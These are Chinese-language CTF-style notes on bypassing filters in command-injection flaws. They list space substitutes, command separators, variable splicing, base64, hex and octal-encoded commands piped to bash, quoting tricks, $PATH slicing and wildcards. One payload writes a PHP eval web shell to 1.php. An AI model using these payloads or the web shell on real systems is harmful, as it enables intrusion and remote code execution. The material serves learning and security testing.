命令执行漏洞绕过
- 过滤空格
$IFS$9 、${IFS} 、%09(tab键)
<>
- 命令终止符号
%00
;
%0a
(linux下换行\n
)
一句话执行多个命令
cd ..&&cd ..&&cd ..&&cat flag cd ..;cd ..;cd ..;cat flag || 执行或语句, 也可用作连接
利用换行
如有语句 C 语言中
system()
可以用
\n
换行来执行多条命令关键字过滤
拼接绕过
- 执行ls命令:
a=l;b=s;$a$b
- cat /flag文件内容:
a=c;b=at;c=/f;d=lag;$a$b ${c}${d}
- cat /flag文件内容
a="ccaatt";b=${a:0:1}${a:2:1}${a:4:1};$b /flag
- 执行ls命令:
编码绕过
base64
echo "Y2F0IC9mbGFn"|base64 -d|bash 等价于 cat /flag echo Y2F0IC9mbGFn|base64 -d|sh 等价于 cat /flag
hex (16进制字符串)
echo "0x636174202f666c6167" | xxd -r -p|bash 等价于 cat /flag echo 0x636174202f666c6167|xxd -r -p|bash 等价于 cat /flag
oct 字节(八进制字符串)
$(printf "\154\163") 等价于 ls $(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") 等价于 cat /flag {printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|$0 等价于 cat /flag
也可以通过这种方式写马
内容为<?php @eval($_POST['c']);?>
{printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} > 1.php
单引号和双引号,反斜杠绕过
c'a't /flag c"a"t /flag ca\t /flag
通过$PATH绕过
# echo $PATH 显示当前PATH环境变量,该变量的值由一系列以冒号分隔的目录名组成 # 当执行程序时,shell自动跟据PATH变量的值去搜索该程序 # shell在搜索时先搜索PATH环境变量中的第一个目录,没找到再接着搜索,如果找到则执行它,不会再继续搜索 # 可以利用cut命令截取$PATH中的字符串来达到目的 root@ubuntu:/# echo $PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin root@ubuntu:/# `echo $PATH| cut -c 8,9`t /flag flag{test} root@ubuntu:/# cat $(echo $PATH|cut -c 1)flag flag{test}
通配符绕过
cat /f?ag cat /fl* cat /f[a-z]ag cat /f{i,j,k,l,m,n}ag
命令替换
# 查看文件内容的命令 cat、tac、more、less、head、tail、nl、sed、sort、uniq
参考文档
https://www.freebuf.com/articles/web/137923.html